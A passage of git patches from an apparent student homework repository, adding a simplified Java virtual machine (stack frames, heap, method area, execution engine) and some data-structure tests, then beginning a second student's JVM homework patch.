+    private int nextCmdOffset = 0;
+    private Method nextMethod;
+
+    public Method getNextMethod() {
+        return nextMethod;
+    }
+
+    public void setNextMethod(Method nextMethod) {
+        this.nextMethod = nextMethod;
+    }
+
+    public void setNextAction(int action) {
+        this.nextAction = action;
+    }
+
+    public boolean isPauseAndRunNewFrame() {
+        return this.nextAction == PAUSE_AND_RUN_NEW_FRAME;
+    }
+
+    public boolean isExitCurrentFrame() {
+        return this.nextAction == EXIT_CURRENT_FRAME;
+    }
+
+    public boolean isRunNextCmd() {
+        return this.nextAction == RUN_NEXT_CMD;
+    }
+
+    public boolean isJump() {
+        return this.nextAction == JUMP;
+    }
+
+    public int getNextCmdOffset() {
+        return nextCmdOffset;
+    }
+
+    public void setNextCmdOffset(int nextCmdOffset) {
+        this.nextCmdOffset = nextCmdOffset;
+    }
+}
diff --git a/group01/895457260/code/src/main/java/jvm/engine/ExecutorEngine.java b/group01/895457260/code/src/main/java/jvm/engine/ExecutorEngine.java
new file mode 100644
index 0000000000..e984426689
--- /dev/null
+++ b/group01/895457260/code/src/main/java/jvm/engine/ExecutorEngine.java
@@ -0,0 +1,55 @@
+package jvm.engine;
+
+import jvm.classfile.method.Method;
+import jvm.exception.ReadClassException;
+
+import java.util.ArrayList;
+import java.util.List;
+import java.util.Stack;
+
+public class ExecutorEngine {
+    private Stack<StackFrame> stack = new Stack<>();
+
+    public void execute(Method main) throws ReadClassException {
+        StackFrame mainFrame = StackFrame.create(main);
+        stack.push(mainFrame);
+
+        while (!stack.isEmpty()) {
+            StackFrame top = stack.peek();
+            ExecutionResult result = top.execute();
+            if (result.isExitCurrentFrame()) {
+                stack.pop();
+            } else if (result.isPauseAndRunNewFrame()) {
+                Method next = result.getNextMethod();
+                StackFrame newFrame = StackFrame.create(next);
+                setupFunctionCallParams(top, newFrame);
+                stack.push(newFrame);
+            }
+        }
+    }
+
+    private void setupFunctionCallParams(StackFrame currentFrame, StackFrame nextFrame) {
+        List<JavaObject> local = createLocalVariableTable(currentFrame, nextFrame.getMethod());
+        nextFrame.setLocalVariableTable(local);
+        nextFrame.setCallerFrame(currentFrame);
+    }
+
+    private List<JavaObject> createLocalVariableTable(StackFrame top, Method next) {
+        int paramCount = next.getParamCount();
+        Stack<JavaObject> params = new Stack<>();
+        for (int i = 0; i < paramCount; ++i) {
+            JavaObject param = top.getOperandStack().pop();
+            params.push(param);
+        }
+        if (!next.getAccessFlag().isStatic()) {
+            JavaObject param = top.getOperandStack().pop();
+            params.push(param);
+        }
+
+        List<JavaObject> local = new ArrayList<>();
+        while (!params.isEmpty()) {
+            local.add(params.pop());
+        }
+        return local;
+    }
+}
diff --git a/group01/895457260/code/src/main/java/jvm/engine/Heap.java b/group01/895457260/code/src/main/java/jvm/engine/Heap.java
new file mode 100644
index 0000000000..bc06cf7a15
--- /dev/null
+++ b/group01/895457260/code/src/main/java/jvm/engine/Heap.java
@@ -0,0 +1,63 @@
+package jvm.engine;
+
+import jvm.classfile.constant.item.Constant;
+import jvm.classfile.constant.item.impl.ClassInfo;
+import jvm.classfile.constant.item.impl.FloatInfo;
+import jvm.classfile.constant.item.impl.IntegerInfo;
+import jvm.classfile.constant.item.impl.StringInfo;
+
+public class Heap {
+
+    /**
+     * 没有实现垃圾回收， 所以对于下面新创建的对象， 并没有记录到一个数据结构当中
+     */
+    private static Heap instance = new Heap();
+
+    private Heap() {
+    }
+
+    public static Heap getInstance() {
+        return instance;
+    }
+
+    public JavaObject createObject(Constant constant) {
+        if (constant instanceof IntegerInfo) {
+            int value = ((IntegerInfo) constant).getValue();
+            return Heap.getInstance().newInt(value);
+        } else if (constant instanceof FloatInfo) {
+            float value = ((FloatInfo) constant).getValue();
+            return Heap.getInstance().newFloat(value);
+        } else if (constant instanceof StringInfo) {
+            String value = ((StringInfo) constant).getValue();
+            return Heap.getInstance().newString(value);
+        } else if (constant instanceof ClassInfo) {
+            String className = ((ClassInfo) constant).getClassName();
+            return Heap.getInstance().newClassReference(className);
+        }
+        return null;
+    }
+
+    public JavaObject newClassReference(String clzName) {
+        JavaObject jo = new JavaObject(JavaObject.OBJECT);
+        jo.setClassName(clzName);
+        return jo;
+    }
+
+    public JavaObject newString(String value) {
+        JavaObject jo = new JavaObject(JavaObject.STRING);
+        jo.setStringValue(value);
+        return jo;
+    }
+
+    public JavaObject newFloat(float value) {
+        JavaObject jo = new JavaObject(JavaObject.FLOAT);
+        jo.setFloatValue(value);
+        return jo;
+    }
+
+    public JavaObject newInt(int value) {
+        JavaObject jo = new JavaObject(JavaObject.INT);
+        jo.setIntValue(value);
+        return jo;
+    }
+}
diff --git a/group01/895457260/code/src/main/java/jvm/engine/JavaObject.java b/group01/895457260/code/src/main/java/jvm/engine/JavaObject.java
new file mode 100644
index 0000000000..8e6066755e
--- /dev/null
+++ b/group01/895457260/code/src/main/java/jvm/engine/JavaObject.java
@@ -0,0 +1,77 @@
+package jvm.engine;
+
+import java.util.HashMap;
+import java.util.Map;
+
+public class JavaObject {
+    public static final int OBJECT = 1;
+    public static final int STRING = 2;
+    public static final int INT = 3;
+    public static final int FLOAT = 4;
+
+    private int type;
+    private String className;
+    private Map<String, JavaObject> fieldValues = new HashMap<>();
+    private String stringValue;
+    private int intValue;
+    private float floatValue;
+
+    public void setFieldValue(String fieldName, JavaObject fieldValue) {
+        fieldValues.put(fieldName, fieldValue);
+    }
+
+    public JavaObject(int type) {
+        this.type = type;
+    }
+
+    public void setClassName(String className) {
+        this.className = className;
+    }
+
+    public void setStringValue(String value) {
+        stringValue = value;
+    }
+
+    public String getStringValue() {
+        return this.stringValue;
+    }
+
+    public void setIntValue(int value) {
+        this.intValue = value;
+    }
+
+    public int getIntValue() {
+        return this.intValue;
+    }
+
+    public int getType() {
+        return type;
+    }
+
+    public JavaObject getFieldValue(String fieldName) {
+        return this.fieldValues.get(fieldName);
+    }
+
+    public String toString() {
+        switch (this.getType()) {
+            case INT:
+                return String.valueOf(this.intValue);
+            case STRING:
+                return this.stringValue;
+            case OBJECT:
+                return this.className + ":" + this.fieldValues;
+            case FLOAT:
+                return String.valueOf(this.floatValue);
+            default:
+                return null;
+        }
+    }
+
+    public String getClassName() {
+        return this.className;
+    }
+
+    public void setFloatValue(float value) {
+        this.floatValue = value;
+    }
+}
diff --git a/group01/895457260/code/src/main/java/jvm/engine/MethodArea.java b/group01/895457260/code/src/main/java/jvm/engine/MethodArea.java
new file mode 100644
index 0000000000..00f40a949e
--- /dev/null
+++ b/group01/895457260/code/src/main/java/jvm/engine/MethodArea.java
@@ -0,0 +1,63 @@
+package jvm.engine;
+
+import jvm.ClassFileLoader;
+import jvm.classfile.ClassFile;
+import jvm.classfile.constant.item.impl.MethodRefInfo;
+import jvm.classfile.method.Method;
+import jvm.exception.ReadClassException;
+
+import java.util.HashMap;
+import java.util.Map;
+
+public class MethodArea {
+
+    private static final MethodArea instance = new MethodArea();
+
+    /**
+     * 注意：我们做了极大的简化， ClassLoader 只有一个， 实际JVM中的ClassLoader,是一个双亲委托的模型
+     */
+
+    private ClassFileLoader clzLoader = null;
+
+    private Map<String, ClassFile> map = new HashMap<>();
+
+    private MethodArea() {
+    }
+
+    public static MethodArea getInstance() {
+        return instance;
+    }
+
+    public void setClassFileLoader(ClassFileLoader clzLoader) {
+        this.clzLoader = clzLoader;
+    }
+
+    public Method getMainMethod(String className) throws ReadClassException {
+        ClassFile clzFile = this.findClassFile(className);
+        return clzFile.getMainMethod();
+    }
+
+    public ClassFile findClassFile(String className) throws ReadClassException {
+        if (map.get(className) != null) {
+            return map.get(className);
+        }
+        // 看来该class文件还没有load过
+        ClassFile clzFile = this.clzLoader.load(className);
+        map.put(className, clzFile);
+        return clzFile;
+    }
+
+    public Method getMethod(String className, String methodName, String paramAndReturnType)
+            throws ReadClassException {
+        ClassFile classFile = findClassFile(className);
+        return classFile.getMethod(methodName, paramAndReturnType);
+    }
+
+    public Method getMethod(MethodRefInfo methodRef) throws ReadClassException {
+        String[] split = methodRef.getNameAndType().split(":");
+        String className = methodRef.getClassName();
+        String methodName = split[0];
+        String paramAndReturnType = split[1];
+        return getMethod(className, methodName, paramAndReturnType);
+    }
+}
diff --git a/group01/895457260/code/src/main/java/jvm/engine/MiniJVM.java b/group01/895457260/code/src/main/java/jvm/engine/MiniJVM.java
new file mode 100644
index 0000000000..eae3d36935
--- /dev/null
+++ b/group01/895457260/code/src/main/java/jvm/engine/MiniJVM.java
@@ -0,0 +1,19 @@
+package jvm.engine;
+
+import jvm.ClassFileLoader;
+import jvm.exception.ReadClassException;
+
+public class MiniJVM {
+    public void run(String[] classPaths, String className) throws ReadClassException {
+        ClassFileLoader loader = new ClassFileLoader();
+        for (String classPath : classPaths) {
+            loader.addClassPath(classPath);
+        }
+
+        MethodArea methodArea = MethodArea.getInstance();
+        methodArea.setClassFileLoader(loader);
+        ExecutorEngine engine = new ExecutorEngine();
+        className = className.replace(".", "/");
+        engine.execute(methodArea.getMainMethod(className));
+    }
+}
diff --git a/group01/895457260/code/src/main/java/jvm/engine/StackFrame.java b/group01/895457260/code/src/main/java/jvm/engine/StackFrame.java
new file mode 100644
index 0000000000..6313623b34
--- /dev/null
+++ b/group01/895457260/code/src/main/java/jvm/engine/StackFrame.java
@@ -0,0 +1,103 @@
+package jvm.engine;
+
+import jvm.classfile.ConstantPool;
+import jvm.classfile.constant.item.impl.MethodRefInfo;
+import jvm.classfile.method.Method;
+import jvm.command.item.ByteCodeCommand;
+import jvm.command.item.TwoOperandCmd;
+import jvm.exception.ReadClassException;
+
+import java.util.ArrayList;
+import java.util.List;
+import java.util.Stack;
+
+public class StackFrame {
+    private List<JavaObject> localVariableTable = new ArrayList<>();
+    private Stack<JavaObject> operandStack = new Stack<>();
+
+    private int index = 0;
+    private Method method = null;
+    private StackFrame callerFrame = null;
+
+    private StackFrame(Method method) {
+        this.method = method;
+    }
+
+    public ExecutionResult execute() throws ReadClassException {
+        ByteCodeCommand[] commands = getMethod().getCommands();
+
+        while (index < commands.length) {
+            ByteCodeCommand cmd = commands[index];
+            ExecutionResult result = new ExecutionResult();
+            cmd.execute(this, result);
+            index++;
+            result.setNextCmdOffset(commands[index].getOffset());
+
+            if (result.isExitCurrentFrame()) {
+                return result;
+            } else if (result.isPauseAndRunNewFrame()) {
+                TwoOperandCmd invokeCmd = (TwoOperandCmd) cmd;
+                int methodIndex = (invokeCmd.getOperand1() << 8) | invokeCmd.getOperand2();
+                ConstantPool constantPool = getMethod().getConstantPool();
+                MethodRefInfo next = (MethodRefInfo) constantPool.getConstantInfo(methodIndex);
+                Method nextMethod = MethodArea.getInstance().getMethod(next);
+                result.setNextMethod(nextMethod);
+                return result;
+            } else if (result.isJump()) {
+                TwoOperandCmd jumpCmd = (TwoOperandCmd) cmd;
+                int offset = (jumpCmd.getOperand1() << 8) | jumpCmd.getOperand2();
+                index = getNextCommandIndex(offset);
+            }
+        }
+        ExecutionResult frameResult = new ExecutionResult();
+        frameResult.setNextAction(ExecutionResult.EXIT_CURRENT_FRAME);
+        return frameResult;
+    }
+
+    public StackFrame getCallerFrame() {
+        return callerFrame;
+    }
+
+    public void setCallerFrame(StackFrame callerFrame) {
+        this.callerFrame = callerFrame;
+    }
+
+    public static StackFrame create(Method m) {
+        return new StackFrame(m);
+    }
+
+    public JavaObject getLocalVariableValue(int index) {
+        return this.localVariableTable.get(index);
+    }
+
+    public Stack<JavaObject> getOperandStack() {
+        return this.operandStack;
+    }
+
+    public int getNextCommandIndex(int offset) {
+        ByteCodeCommand[] commands = method.getCommands();
+        for (int i = 0; i < commands.length; i++) {
+            if (commands[i].getOffset() == offset) {
+                return i;
+            }
+        }
+        throw new RuntimeException("Can't find next command");
+    }
+
+    public void setLocalVariableTable(List<JavaObject> values) {
+        this.localVariableTable = values;
+    }
+
+    public void setLocalVariableValue(int index, JavaObject jo) {
+        if (this.localVariableTable.size() - 1 < index) {
+            for (int i = this.localVariableTable.size(); i <= index; i++) {
+                this.localVariableTable.add(null);
+            }
+        }
+        this.localVariableTable.set(index, jo);
+    }
+
+    public Method getMethod() {
+        return method;
+    }
+}
diff --git a/group01/895457260/code/src/main/java/jvm/print/ClassFilePrinter.java b/group01/895457260/code/src/main/java/jvm/print/ClassFilePrinter.java
index 1d2ca39d46..a53017333d 100644
--- a/group01/895457260/code/src/main/java/jvm/print/ClassFilePrinter.java
+++ b/group01/895457260/code/src/main/java/jvm/print/ClassFilePrinter.java
@@ -4,9 +4,6 @@
 import jvm.classfile.ClassFile;
 import jvm.exception.ReadClassException;
 
-import java.util.ArrayList;
-import java.util.List;
-
 public class ClassFilePrinter {
     ClassFile clzFile;
 
@@ -15,7 +12,7 @@ public ClassFilePrinter(ClassFile clzFile) {
     }
 
     public void print() {
-        if (clzFile.getAccessFlag().isPublicClass()) {
+        if (clzFile.getAccessFlag().isPublic()) {
             System.out.println("Access flag : public  ");
         }
         System.out.println("Class Name: " + clzFile.getClassName());
diff --git a/group01/895457260/code/src/main/java/jvm/util/ByteUtils.java b/group01/895457260/code/src/main/java/jvm/util/ByteUtils.java
index 5a82776eef..17d7537209 100644
--- a/group01/895457260/code/src/main/java/jvm/util/ByteUtils.java
+++ b/group01/895457260/code/src/main/java/jvm/util/ByteUtils.java
@@ -19,7 +19,19 @@ public static String toHexString(byte[] bytes, int off, int len) {
         return builder.toString();
     }
 
+    public static int toInt(byte[] bytes) {
+        return toInt(bytes, 0, bytes.length);
+    }
+
     public static int toInt(byte[] bytes, int off, int len) {
         return Integer.parseInt(toHexString(bytes, off, len), 16);
     }
+
+    public static float toFloat(byte[] bytes) {
+        return toFloat(bytes, 0, bytes.length);
+    }
+
+    public static float toFloat(byte[] bytes, int off, int len) {
+        return Float.intBitsToFloat(toInt(bytes, off, len));
+    }
 }
diff --git a/group01/895457260/code/src/main/java/jvm/util/TypeUtils.java b/group01/895457260/code/src/main/java/jvm/util/TypeUtils.java
new file mode 100644
index 0000000000..a3d8b618cc
--- /dev/null
+++ b/group01/895457260/code/src/main/java/jvm/util/TypeUtils.java
@@ -0,0 +1,54 @@
+package jvm.util;
+
+import jvm.classfile.field.Field;
+import jvm.engine.Heap;
+import jvm.engine.JavaObject;
+
+/**
+ * Created by Haochen on 2017/4/30.
+ * TODO:
+ */
+public class TypeUtils {
+    private static final String INT = "I";
+    private static final String FLOAT = "F";
+    private static final String LONG = "J";
+    private static final String DOUBLE = "D";
+    private static final String CHAR = "C";
+    private static final String BYTE = "B";
+    private static final String BOOLEAN = "Z";
+    private static final String SHORT = "S";
+
+    private static final String REFERENCE = "ref";
+
+    public static String parse(String inClassFile) {
+        switch (inClassFile) {
+            case INT:
+                return "int";
+            case FLOAT:
+                return "float";
+            case LONG:
+                return "long";
+            case DOUBLE:
+                return "double";
+            case CHAR:
+                return "char";
+            case BYTE:
+                return "byte";
+            case BOOLEAN:
+                return "boolean";
+            case SHORT:
+                return "short";
+        }
+        return REFERENCE;
+    }
+
+    public static JavaObject getDefaultValue(Field field) {
+        switch (field.getDescriptor()) {
+            case INT:
+                return Heap.getInstance().newInt(0);
+            case FLOAT:
+                return Heap.getInstance().newFloat(0);
+        }
+        return Heap.getInstance().newClassReference(field.getDescriptor());
+    }
+}
diff --git a/group01/895457260/code/src/test/java/algorithm/expression/PostfixExprTest.java b/group01/895457260/code/src/test/java/algorithm/expression/PostfixExprTest.java
index d57f19fcda..e1a4cb2268 100644
--- a/group01/895457260/code/src/test/java/algorithm/expression/PostfixExprTest.java
+++ b/group01/895457260/code/src/test/java/algorithm/expression/PostfixExprTest.java
@@ -32,6 +32,12 @@ public void testEvaluate() {
 			PostfixExpr expr = new PostfixExpr("10 2 3 * - 50 +");
 			Assert.assertEquals(54, expr.evaluate(),0.0f);
 		}
+
+		{
+			//10-2^3+50
+			PostfixExpr expr = new PostfixExpr("10 2 3 ^ - 50 +");
+			Assert.assertEquals(52, expr.evaluate(),0.0f);
+		}
 	}
 
 }
diff --git a/group01/895457260/code/src/test/java/datastructure/QueueTest.java b/group01/895457260/code/src/test/java/datastructure/QueueTest.java
index f2a9495484..cb0383d441 100644
--- a/group01/895457260/code/src/test/java/datastructure/QueueTest.java
+++ b/group01/895457260/code/src/test/java/datastructure/QueueTest.java
@@ -1,5 +1,6 @@
 package datastructure;
 
+import datastructure.basic.LinkedList;
 import datastructure.exception.EmptyQueueException;
 import datastructure.basic.Queue;
 import org.junit.Assert;
@@ -29,7 +30,7 @@ public void after() throws Exception {
     }
 
     private Queue getQueue() {
-        Queue queue = new Queue(5);
+        Queue queue = new Queue();
         for (int i = 1; i <= 5; ++i) {
             queue.enQueue(i);
         }
@@ -38,35 +39,19 @@ private Queue getQueue() {
 
     private void assertQueue(Queue queue, Object[] actual) {
         Class<Queue> clazz = Queue.class;
-        Object[] array = null;
-        int head = 0;
-        int rear = 0;
-        Method mapIndex = null;
+        LinkedList list = null;
         try {
-            Field arrayField = clazz.getDeclaredField("array");
-            Field headField = clazz.getDeclaredField("head");
-            Field rearField = clazz.getDeclaredField("rear");
-            mapIndex = clazz.getDeclaredMethod("mapIndex", int.class);
-            arrayField.setAccessible(true);
-            headField.setAccessible(true);
-            rearField.setAccessible(true);
-            mapIndex.setAccessible(true);
-            array = (Object[]) arrayField.get(queue);
-            head = (int) headField.get(queue);
-            rear = (int) rearField.get(queue);
-        } catch (NoSuchFieldException | IllegalAccessException | NoSuchMethodException e) {
+            Field listField = clazz.getDeclaredField("list");
+            listField.setAccessible(true);
+            list = (LinkedList) listField.get(queue);
+        } catch (NoSuchFieldException | IllegalAccessException e) {
             e.printStackTrace();
+            Assert.fail();
         }
         int size = queue.size();
         Object[] excepted = new Object[size];
-        int pos = 0;
-        try {
-            while (head < rear) {
-                excepted[pos++] = array[(int) mapIndex.invoke(queue, head)];
-                head++;
-            }
-        } catch (IllegalAccessException | InvocationTargetException e) {
-            e.printStackTrace();
+        for (int i = 0; i < size; ++i) {
+            excepted[i] = list.get(i);
         }
         Assert.assertArrayEquals(excepted, actual);
     }
diff --git a/group01/895457260/code/src/test/java/jvm/E.java b/group01/895457260/code/src/test/java/jvm/E.java
new file mode 100644
index 0000000000..691defee19
--- /dev/null
+++ b/group01/895457260/code/src/test/java/jvm/E.java
@@ -0,0 +1,34 @@
+package jvm;
+
+public class E {
+	
+	private String name;
+    private int age;
+    
+    public E(String name, int age) {
+        this.name = name;
+        this.age = age;        
+    }    
+
+    public void setName(String name) {
+        this.name = name;
+    }
+    public void setAge(int age){
+    	this.age = age;
+    }
+    public void sayHello() {        
+    	System.out.println("Hello , this is class Employee ");    	
+    }
+    public int test(int a, int b, int c, int d, int e) {
+        int f = a + b;
+        int g = c + d + e;
+    	System.out.println(f + g);
+        return 666;
+    }
+    public static void main(String[] args){
+    	E p = new E("Andy",29);
+    	p.sayHello();
+    	int r = p.test(1, 2, 3, 4, 5);
+    	System.out.println(r);
+    }
+}
diff --git a/group01/895457260/code/src/test/java/jvm/LiteJvmTest.java b/group01/895457260/code/src/test/java/jvm/LiteJvmTest.java
deleted file mode 100644
index a6f36bb3ca..0000000000
--- a/group01/895457260/code/src/test/java/jvm/LiteJvmTest.java
+++ /dev/null
@@ -1,83 +0,0 @@
-package jvm;
-
-import jvm.exception.MagicNumberException;
-import jvm.exception.ReadClassException;
-import org.junit.Assert;
-import org.junit.Test;
-import org.junit.Before;
-import org.junit.After;
-
-import java.io.File;
-import java.io.IOException;
-import java.lang.reflect.InvocationTargetException;
-import java.lang.reflect.Method;
-
-/**
- * LiteJvm Tester.
- *
- * @author <Authors name>
- * @version 1.0
- * @since <pre>三月 26, 2017</pre>
- */
-public class LiteJvmTest {
-
-    private LiteJvm jvm = LiteJvm.INSTANCE;
-    private String fileName;
-
-    @Before
-    public void before() throws Exception {
-        fileName = "target/classes/algorithm/ArrayUtil.class";
-    }
-
-    @After
-    public void after() throws Exception {
-    }
-
-    /**
-     * Method: launch(File fileName)
-     */
-    @Test
-    public void testLaunch() {
-//TODO: Test goes here...
-        try {
-            jvm.launch(fileName);
-        } catch (MagicNumberException | ReadClassException e) {
-            e.printStackTrace();
-            Assert.fail(e.getMessage());
-        }
-    }
-
-
-    /**
-     * Method: checkMagicNumber(byte[] bytes)
-     */
-    @Test
-    public void testCheckMagicNumber() throws Exception {
-//TODO: Test goes here... 
-//        try {
-//            Method method = LiteJvm.class.getDeclaredMethod("checkMagicNumber", byte[].class);
-//            method.setAccessible(true);
-//            method.invoke(jvm, ???);
-//        } catch (NoSuchMethodException | IllegalAccessException | InvocationTargetException e) {
-//            e.printStackTrace();
-//        }
-    }
-
-    /**
-     * Method: getBytes(File fileName)
-     */
-    @Test
-    public void testGetBytes() throws Exception {
-//TODO: Test goes here...
-        try {
-            Method method = LiteJvm.class.getDeclaredMethod("getBytes", File.class);
-            method.setAccessible(true);
-            byte[] bytes = (byte[]) method.invoke(jvm, fileName);
-            Assert.assertEquals(3851, bytes.length);
-        } catch (NoSuchMethodException | IllegalAccessException | InvocationTargetException e) {
-            e.printStackTrace();
-            Assert.fail(e.getMessage());
-        }
-    }
-
-} 

From 74e91a6ea79ad6ed4ac1abe8be2221bdc9785974 Mon Sep 17 00:00:00 2001
From: jy <977996067@qq.com>
Date: Sun, 30 Apr 2017 16:21:48 +0800
Subject: [PATCH 141/262] =?UTF-8?q?4.30=E4=BD=9C=E4=B8=9A?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 .../src/task8/jvm/attr/AttributeInfo.java     |  19 ++
 .../src/task8/jvm/attr/CodeAttr.java          | 120 +++++++++++
 .../src/task8/jvm/attr/LineNumberTable.java   |  72 +++++++
 .../src/task8/jvm/attr/LocalVariableItem.java |  39 ++++
 .../task8/jvm/attr/LocalVariableTable.java    |  57 ++++++
 .../src/task8/jvm/attr/StackMapTable.java     |  30 +++
 .../src/task8/jvm/clz/AccessFlag.java         |  25 +++
 .../src/task8/jvm/clz/ClassFile.java          | 134 ++++++++++++
 .../src/task8/jvm/clz/ClassIndex.java         |  19 ++
 .../src/task8/jvm/cmd/BiPushCmd.java          |  29 +++
 .../src/task8/jvm/cmd/ByteCodeCommand.java    | 126 ++++++++++++
 .../src/task8/jvm/cmd/CommandParser.java      | 124 ++++++++++++
 .../src/task8/jvm/cmd/GetFieldCmd.java        |  27 +++
 .../src/task8/jvm/cmd/GetStaticFieldCmd.java  |  27 +++
 .../src/task8/jvm/cmd/InvokeSpecialCmd.java   |  39 ++++
 .../src/task8/jvm/cmd/InvokeVirtualCmd.java   |  22 ++
 .../src/task8/jvm/cmd/LdcCmd.java             |  44 ++++
 .../src/task8/jvm/cmd/NewObjectCmd.java       |  32 +++
 .../src/task8/jvm/cmd/NoOperandCmd.java       |  23 +++
 .../src/task8/jvm/cmd/OneOperandCmd.java      |  27 +++
 .../src/task8/jvm/cmd/PutFieldCmd.java        |  19 ++
 .../src/task8/jvm/cmd/TwoOperandCmd.java      |  63 ++++++
 .../src/task8/jvm/constant/ClassInfo.java     |  31 +++
 .../src/task8/jvm/constant/ConstantInfo.java  |  35 ++++
 .../src/task8/jvm/constant/ConstantPool.java  |  37 ++++
 .../src/task8/jvm/constant/FieldRefInfo.java  |  65 ++++++
 .../src/task8/jvm/constant/MethodRefInfo.java |  65 ++++++
 .../task8/jvm/constant/NameAndTypeInfo.java   |  56 +++++
 .../task8/jvm/constant/NullConstantInfo.java  |  21 ++
 .../src/task8/jvm/constant/StringInfo.java    |  35 ++++
 .../src/task8/jvm/constant/UTF8Info.java      |  45 +++++
 .../src/task8/jvm/engine/ExecutionResult.java |  53 +++++
 .../src/task8/jvm/engine/ExecutorEngine.java  |  49 +++++
 .../src/task8/jvm/engine/Heap.java            |  39 ++++
 .../src/task8/jvm/engine/JavaObject.java      |  81 ++++++++
 .../src/task8/jvm/engine/MethodArea.java      |  41 ++++
 .../src/task8/jvm/engine/MiniJVM.java         |  18 ++
 .../src/task8/jvm/engine/StackFrame.java      | 106 ++++++++++
 .../src/task8/jvm/field/Field.java            |  48 +++++
 .../task8/jvm/loader/ByteCodeIterator.java    |  56 +++++
 .../src/task8/jvm/loader/ClassFileLoader.java | 122 +++++++++++
 .../src/task8/jvm/loader/ClassFileParser.java | 112 ++++++++++
 .../src/task8/jvm/method/Method.java          | 107 ++++++++++
 .../src/task8/jvm/print/ClassFilePrinter.java |  44 ++++
 .../task8/jvm/print/ConstantInfoVisitor.java  |  18 ++
 .../jvm/print/ConstantInfoVisitorImpl.java    |  51 +++++
 .../task8/jvm/print/ConstantPoolPrinter.java  |  26 +++
 .../task8/jvm/test/ClassFileloaderTest.java   | 191 ++++++++++++++++++
 .../src/task8/jvm/test/EmployeeV1.java        |  29 +++
 .../src/task8/jvm/util/Util.java              |  23 +++
 .../src/task8/queue/CircleQueue.java          |  54 +++++
 .../src/task8/queue/Josephus.java             |  28 +++
 .../src/task8/queue/QueueWithTwoStacks.java   |  41 ++++
 53 files changed, 2844 insertions(+)
 create mode 100644 group15/1507_977996067/src/task8/jvm/attr/AttributeInfo.java
 create mode 100644 group15/1507_977996067/src/task8/jvm/attr/CodeAttr.java
 create mode 100644 group15/1507_977996067/src/task8/jvm/attr/LineNumberTable.java
 create mode 100644 group15/1507_977996067/src/task8/jvm/attr/LocalVariableItem.java
 create mode 100644 group15/1507_977996067/src/task8/jvm/attr/LocalVariableTable.java
 create mode 100644 group15/1507_977996067/src/task8/jvm/attr/StackMapTable.java
 create mode 100644 group15/1507_977996067/src/task8/jvm/clz/AccessFlag.java
 create mode 100644 group15/1507_977996067/src/task8/jvm/clz/ClassFile.java
 create mode 100644 group15/1507_977996067/src/task8/jvm/clz/ClassIndex.java
 create mode 100644 group15/1507_977996067/src/task8/jvm/cmd/BiPushCmd.java
 create mode 100644 group15/1507_977996067/src/task8/jvm/cmd/ByteCodeCommand.java
 create mode 100644 group15/1507_977996067/src/task8/jvm/cmd/CommandParser.java
 create mode 100644 group15/1507_977996067/src/task8/jvm/cmd/GetFieldCmd.java
 create mode 100644 group15/1507_977996067/src/task8/jvm/cmd/GetStaticFieldCmd.java
 create mode 100644 group15/1507_977996067/src/task8/jvm/cmd/InvokeSpecialCmd.java
 create mode 100644 group15/1507_977996067/src/task8/jvm/cmd/InvokeVirtualCmd.java
 create mode 100644 group15/1507_977996067/src/task8/jvm/cmd/LdcCmd.java
 create mode 100644 group15/1507_977996067/src/task8/jvm/cmd/NewObjectCmd.java
 create mode 100644 group15/1507_977996067/src/task8/jvm/cmd/NoOperandCmd.java
 create mode 100644 group15/1507_977996067/src/task8/jvm/cmd/OneOperandCmd.java
 create mode 100644 group15/1507_977996067/src/task8/jvm/cmd/PutFieldCmd.java
 create mode 100644 group15/1507_977996067/src/task8/jvm/cmd/TwoOperandCmd.java
 create mode 100644 group15/1507_977996067/src/task8/jvm/constant/ClassInfo.java
 create mode 100644 group15/1507_977996067/src/task8/jvm/constant/ConstantInfo.java
 create mode 100644 group15/1507_977996067/src/task8/jvm/constant/ConstantPool.java
 create mode 100644 group15/1507_977996067/src/task8/jvm/constant/FieldRefInfo.java
 create mode 100644 group15/1507_977996067/src/task8/jvm/constant/MethodRefInfo.java
 create mode 100644 group15/1507_977996067/src/task8/jvm/constant/NameAndTypeInfo.java
 create mode 100644 group15/1507_977996067/src/task8/jvm/constant/NullConstantInfo.java
 create mode 100644 group15/1507_977996067/src/task8/jvm/constant/StringInfo.java
 create mode 100644 group15/1507_977996067/src/task8/jvm/constant/UTF8Info.java
 create mode 100644 group15/1507_977996067/src/task8/jvm/engine/ExecutionResult.java
 create mode 100644 group15/1507_977996067/src/task8/jvm/engine/ExecutorEngine.java
 create mode 100644 group15/1507_977996067/src/task8/jvm/engine/Heap.java
 create mode 100644 group15/1507_977996067/src/task8/jvm/engine/JavaObject.java
 create mode 100644 group15/1507_977996067/src/task8/jvm/engine/MethodArea.java
 create mode 100644 group15/1507_977996067/src/task8/jvm/engine/MiniJVM.java
 create mode 100644 group15/1507_977996067/src/task8/jvm/engine/StackFrame.java
 create mode 100644 group15/1507_977996067/src/task8/jvm/field/Field.java
 create mode 100644 group15/1507_977996067/src/task8/jvm/loader/ByteCodeIterator.java
 create mode 100644 group15/1507_977996067/src/task8/jvm/loader/ClassFileLoader.java
 create mode 100644 group15/1507_977996067/src/task8/jvm/loader/ClassFileParser.java
 create mode 100644 group15/1507_977996067/src/task8/jvm/method/Method.java
 create mode 100644 group15/1507_977996067/src/task8/jvm/print/ClassFilePrinter.java
 create mode 100644 group15/1507_977996067/src/task8/jvm/print/ConstantInfoVisitor.java
 create mode 100644 group15/1507_977996067/src/task8/jvm/print/ConstantInfoVisitorImpl.java
 create mode 100644 group15/1507_977996067/src/task8/jvm/print/ConstantPoolPrinter.java
 create mode 100644 group15/1507_977996067/src/task8/jvm/test/ClassFileloaderTest.java
 create mode 100644 group15/1507_977996067/src/task8/jvm/test/EmployeeV1.java
 create mode 100644 group15/1507_977996067/src/task8/jvm/util/Util.java
 create mode 100644 group15/1507_977996067/src/task8/queue/CircleQueue.java
 create mode 100644 group15/1507_977996067/src/task8/queue/Josephus.java
 create mode 100644 group15/1507_977996067/src/task8/queue/QueueWithTwoStacks.java

diff --git a/group15/1507_977996067/src/task8/jvm/attr/AttributeInfo.java b/group15/1507_977996067/src/task8/jvm/attr/AttributeInfo.java
new file mode 100644
index 0000000000..ec71b64d22
--- /dev/null
+++ b/group15/1507_977996067/src/task8/jvm/attr/AttributeInfo.java
@@ -0,0 +1,19 @@
+package task8.jvm.attr;
+
+public abstract class AttributeInfo {
+	public static final String CODE = "Code";
+	public static final String CONST_VALUE = "ConstantValue";
+	public static final String EXCEPTIONS = "Exceptions";
+	public static final String LINE_NUM_TABLE = "LineNumberTable";
